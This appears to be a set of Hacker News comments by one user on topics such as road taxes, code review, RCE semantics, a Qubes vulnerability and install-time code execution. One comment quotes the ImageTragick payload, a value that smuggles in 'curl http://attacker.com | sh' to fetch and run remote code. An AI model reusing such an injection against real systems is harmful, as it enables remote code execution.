msm_
>Right now, they're increasing taxes on parking,
Great! Less car-centric infrastructure.
>toll roads
Great! Less cars.
>and per-kilometer driving tax
Great! Less cars on the road.
>And foreigners not in the know are about to get whalloped for $1000 extra around the ring road.
Which is probably the point (same with the hotel tax), if I had to guess? I mean Iceland gets a lot of tourists, and they have no obligation to provide free roads to everyone. In fact, they have a beautiful country, so if they can, they should capitalize on it. How is this a proof that "The stupidity of European politicians is that extreme, it cannot be explained away by assuming a lack of education" (the original claim)? They're doing their job.
I'm not sure what my (or yours) point is, but like with all of AI it's a moving target - I still remember how image recognition was deep in researchy Artificial Intelligence territory. Nowadays it's such an obvious building block, nobody thinks of image classifiers as "intelligence".
There are dozens (or hundreds) of functional exploits already. The problem with php2shell exploits is that (as of now) there's no "one exploit pwns all", and researchers need to spend nontrivial amount of time on every (potentially) exploitable target.
So I don't think I agree - it's a fun challenge for the itsec people around here, and some people will definitely try. There's no real opportunity cost here. The only problem is that (as of now) exploiting PHP requires some knowledge about the server configuration, and we don't have that here.
But it's plain false. YOU can decide against using gmail. I don't use gmail. I sometimes talk with people who use gmail, but more often than not, I don't. Stop being fatalistic.
How does this work for you?
Do you ask about specific functions ("what does this function do")? Then it sounds like more work than actually reading it.
Or do you ask about the whole PRs ("what does this PR implement")? Then how do you catch things like security vulnerabilities, bad design choices, unnecessary dependencies, wrong architecture, etc? Those are things that benefit the most from human understanding (nitpicking style was always the easy but unimportant part of code review)
Well, to quote the post:
>Ofcom has targeted 200-ish American platforms with censorship orders; only four of those sites, all of which are my clients, refused, and only one is 4chan.
I think this was just a scare tactic.
Since he apparently wants a PC, isn't the logical conclusion the opposite? "Just give up. Buy a Windows/Linux laptop, you are too dependent on Apple, there is always something with the Apple solutions."
Famously, ImageTragick was just "fill 'url(https://example.com"; curl http://attacker.com | sh ")'"
Of course, for me Celsius is more natural and intuitive, but again - that's because I'm used to it.
In enterprise environment: definitely, for both compliance, management and actual security reasons.
You should be OK, but if attacker takes over your user (or any user in your forgejo instance) they can execute code on the host server - as you said yourself. In other words, it allows them to achieve remote code execution, so it's a RCE.
It can't be done without authenticating first, but there's nothing about RCE that says that it must be sent from unauthenticated connection.
Let's not pretend that 90% of HN comments are world-changing. Maybe you are different, but a lot of my would-be comments are knee-jerk reactions that won't actually bring anything substantial to the discussion. Often in political comment chains. Yes, I feel I'm right, but it's still probably not worth posting. I really think that sometimes stopping before posting is better for everyone involved.
I also have well thought comments, where I share my thoughts on things I'm an expert in. I do post them. But a lot of the comments is not really that valuable.
>comments I spent literal hours on[2]
It may make you feel better that I saw both of your posts before (I may spend too much time on HN). They are good, though a bit verbose - maybe this intimidates people. But in this case I agree with GP - if I was spending literal hours responding to comments here I should definitely stop myself.
>That’s a weird comparaison between one or two brand and "an industry".
In other words, Impossible and Beyond are not the only companies in meat replacement space. They are probably the largest, but comparing them to the whole industry makes no sense.
[1] Relax, I'm joking.
The second verse was immediately clear.
And what about signal? I am pretty sure many violent/terrorist groups use it too.
I don't have an opinion about this group, because I didn't even know it existed. But, like often with things related to the free speech, I think this topic is more complex than you make it out to be.
You don't need to pay to host onion websites (.onion domains are free and have no central registry). Though that of course really limits the possible outreach, because most people are not used to browsing onionsites.
I don't agree with what you wrote literally (I almost exclusively play old and old-ish games, and I have fun), but:
>Path of Exile is a 2013 free-to-play action role-playing video game developed and published by Grinding Gear Games
I'm confused. Why is your example of a modern game is a game from 2013? Most people's backlog is probably shorter than 13 years, so if 13 year old games are fine then I'm not sure that contradicts OPs point.
Worth noting that (as I understand) this vulnerability occurs only when doing copy-to-VM from Dom0:
>Note that the VM variant of `qvm-copy-to-vm` is not affected, as its version of the error reporting function does not use `system()`:
Since you should not use Dom0 for regular work, and definitely not for interacting with likely-to-be-infected VMs, the scope of this attack is smaller than it sounds. On the flip side, when it works, it elevates privileges straight to Dom0.
I strongly prefer self-checkout. If self-checkout is available, I will use it. Most people I know have the same preference (to varying degrees, I am a bit extreme in that I will wait for self-checkout even if normal checkout is open and there is no queue).
In most sane environments, like for example native languages, this is already the case. Downloading a .dll file and putting it in an appropriate directory won't, by itself, execute code in that library.
You may argue that the code will get executed at some point anyway, but that's besides the point. Sandboxing the build environment is a different problem than sandboxing the test/staging/production environment.
I think we both agree that "adding random obstacles that don't actually protect anything" is not a valid approach to security, but my mental model of the build step is "transformation of input data into output data", and while this step may produce a malicious output from malicious inputs, it should not do anything malicious itself. For example, "gcc source.c" should not execute arbitrary code by itself.
Definitely. On the other hand, in my opinion, "not running arbitrary code during package install" is not a "half-measure", it's a basic sanity. This whole arbitrary code execution at install time is a convenience feature that was adapted by some package managers, but it was never a good idea.
Fortunately, nixos solves that for me in most cases.